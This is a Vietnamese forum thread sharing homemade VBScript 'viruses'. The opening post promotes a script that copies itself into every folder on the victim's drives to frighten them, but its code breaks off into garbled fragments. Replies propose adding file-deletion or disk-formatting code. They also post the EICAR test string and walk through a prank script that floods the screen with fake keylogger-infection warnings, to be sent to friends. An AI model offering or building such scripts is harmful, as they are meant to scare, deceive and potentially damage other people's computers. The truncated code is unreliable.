[Chia sẻ] Tạo viruts tự nhân bản vào tất cả thư mục

[quanghuongit]

--------------------------------------------------------------------------------

Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy

Vào notepad gõ đoạn code sau


Mã:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fs:Khi (54):
:Ma (13):

[viengiaoduc]

Hay quá, các hạ thật là vãi chưỡng!

[seosango]

Thực ra đây không phải là virus
nó là mã lệnh visual có tác dụng tạo file virus.vbs trong tất cả các thư mục trên ổ cứng

<-- Tự Động Kết Hợp Bài -->​

Muốn nó thực sự là "Thuốc độc" thì có thể thêm đoạn mã :
- Check tên thư mục - tạo file virus có tên giống thư mục - loại này giống W32 torondo
- Nhúng thêm đoạn mã xóa file hay format ở cứng vào virus nữa

[icanfly]

Ơ sao em làm y như vậy mà nó không nhân bản nhỉ, lạ thật!
Mình đúng là gà

[icanfly]

sax
đây chỉ là để đùa thôi
chứ đâu muốn máy của nạn nhân hỏng

[Minhpham.mng]

hay nha, tui thử thêm đoạn code format + lây nhiễm coi nó ra sao, hehehe

[Minhpham.mng]

tiếp nữa nhá:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
hãy paste đoạn code này vào note pad rồi save với tên gì đó nhưng phải có đuôi là " .com"
đây là virus giả chỉ để kiểm tra antivirus của bạn

tiếp nhé:
MÌnh sẻ hướng dẫn các bạn cách viết notepad về 1 dạng virus vui.Cái này không có hại j` cả nhá Đây là Hướng Dẫn cách làm Trích từ bài Virus Do mình chế tạo đã bị hiểu nhàm nên bị close .
Sau đây là các bước làm.

Bước 1:
Các bạn mở Notepad lên (start > Run > gõ > Notepad > enter)


Bước 2:
viết cú pháp
text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")


ví dụ: mình gõ như sau:
text1=msgbox("Máy bạn đã bị nhiểm virus! Perfect Keylogger !xin chia buồn cùng bạn Liên hệ phanvannam_dl@yahoo.com để được gở bỏ",42,"Warning! VIRUS Protected!")


Bước 3:
Lưu lại với tên jì cũng đc nhưng có đuôi là "vbs"
Ví dụ: mình lưu lại với tên "Phanvannam_dl.vbs"
Nếu muốn có dấu thì khi lưu lại chọn bảng mã unicode nhá
Bước 4:
sent cho bạn bè cùng chiêm ngưỡng = yahoo hoặc up lên host rồi đưa link cho họ down
.



Bổ xung thêm 1 chiu làm cho nạn nhân thêm bối rối và mệt óc - mỏi tay:...hía hía hía...



Làm tới "Bước 2"
- Bạn tạo nhìu dòng với nội dung như trên.
- Cứ viết xong 1 dòng thì enter xuống dòng, viết dòng thứ 2 y chang như dòng trên.
- Cứ thế khoảng vài chục vài trăm dòng....Như thế, khi nạn nhân bấm vào sẽ hiện ra bản báo như cú pháp đã viết..Nhưng khi tắc thì nó sẽ ra thêm 1 bảng y chang như thế....


_______________Ví dụ:


_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_______________...v.v...80 lần


Bạn viết 80 dòng thì nó sẽ hiện ra thêm 79 lần nữa khi bạn bấm tắt cái bảng. sẽ mỏi tay lắm đấy...


Tiếp tục "Bước 3"



-------------------------------------------------------


Các bạn có thể nghiên cứu, mở rộng thêm thủ thuật này, thay vì viết y như trên thì viết khác (thông đệp cảnh báo hoặc Tiêu đề của lời cảnh báo) hay tùy chỉnh sao đó cũng đc....miễn sao thấy hài lòng là OK...!...


Nói như mình thì chắc các bạn khó hỉu, vậy các bạn làm thử đi, rùi chính bạn là nạn nhân đầu tiên thì các bạn sẽ hiểu! mà làm khoảng 4~5 dòng để thử thui nghen...làm nhìu quá koi chừng bấm tới khi "rụng lông-mọc râu" lun đó....hía hía hía....


(sưu tầm)